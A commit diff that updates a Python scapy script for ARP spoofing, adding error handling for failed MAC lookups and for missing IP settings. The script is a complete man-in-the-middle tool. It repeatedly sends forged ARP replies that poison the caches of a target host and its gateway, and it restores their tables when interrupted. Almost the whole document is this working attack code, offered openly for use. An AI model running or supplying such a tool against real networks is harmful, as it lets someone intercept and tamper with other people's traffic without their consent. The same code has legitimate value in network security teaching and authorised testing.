Update arp_spoofing.py

Now is more robust to errors and unexpected situations.

Author: javisys

arp_spoofing.py

@@ -1,4 +1,4 @@
-# Javi Ferrándiz | github - https://github.com/javisys
+# Javi Ferrándiz | github - https://github.com/javisys | Updated on 12/08/2024
 import scapy.all as scapy
 import time
 
@@ -8,40 +8,50 @@ def get_mac(ip):
     arp_req_broadcast = broadcast / arp_req
     answered_list = scapy.srp(arp_req_broadcast, timeout = 5, verbose = False)[0]
 
-    return answered_list[0][1].hwsrc
-
-#print(scapy.ls(scapy.ARP))
+    if answered_list:
+        return answered_list[0][1].hwsrc
+    else:
+        print(f"Could not obtain the MAC for the IP {ip}")
+        return None
 
 def spoofing(target_ip, spoof_ip):
-    paquete = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip), psrc = spoof_ip)
+    target_mac = get_mac(target_ip)
+    if target_mac is None:
+        print(f"Spoofing could not be performed for {target_ip}.")
+        return
 
+    paquete = scapy.ARP(op = 2, pdst = target_ip, hwdst = target_mac, psrc = spoof_ip)
     scapy.send(paquete, verbose = False)
 
 def restart(destination_ip, src_ip):
     destination_mac = get_mac(destination_ip)
     src_mac = get_mac(src_ip)
+
+    if destination_mac is None or src_mac is None:
+        print(f"Failed to restore the ARP table for {destination_ip} o {src_ip}.")
+        return
+    
     paquete = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = src_ip, hwsrc = src_mac)
     scapy.send(paquete, verbose = False)
 
-
-
-target_ip = "" # Enter the target IP
-gateway_ip = "" # Enter the gateway's IP
-
-
-try:
-	sent_packets_count = 0
-	while True:
-		spoofing(target_ip, gateway_ip)
-		spoofing(gateway_ip, target_ip)
-		sent_packets_count = sent_packets_count + 2
-		print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
-		time.sleep(2) # Waits for two seconds
-
-except KeyboardInterrupt:
-    print("\nCtrl + C pressed.............Exiting")
-    restart(target_ip, gateway_ip)
-    restart(gateway_ip, target_ip)
-    print("[*] ARP Spoof Stopped")
-
-
+# Ingresar la IP del objetivo y la IP del gateway
+target_ip = ""  # Target IP
+gateway_ip = ""  # Gateway
+
+if not target_ip or not gateway_ip:
+    print("[!!!] The IPs of the target and gateway must be defined.")
+else:
+    try:
+        sent_packets_count = 0
+        while True:
+            spoofing(target_ip, gateway_ip)
+            spoofing(gateway_ip, target_ip)
+            sent_packets_count += 2
+            print("\r[*] Packets Sent " + str(sent_packets_count), end ="")
+            time.sleep(2)  # Wait two seconds
+
+    except KeyboardInterrupt:
+        print("\nCtrl + C presionado.............Saliendo")
+        restart(target_ip, gateway_ip)
+        restart(gateway_ip, target_ip)
+        print("[*] ARP Spoof stopped")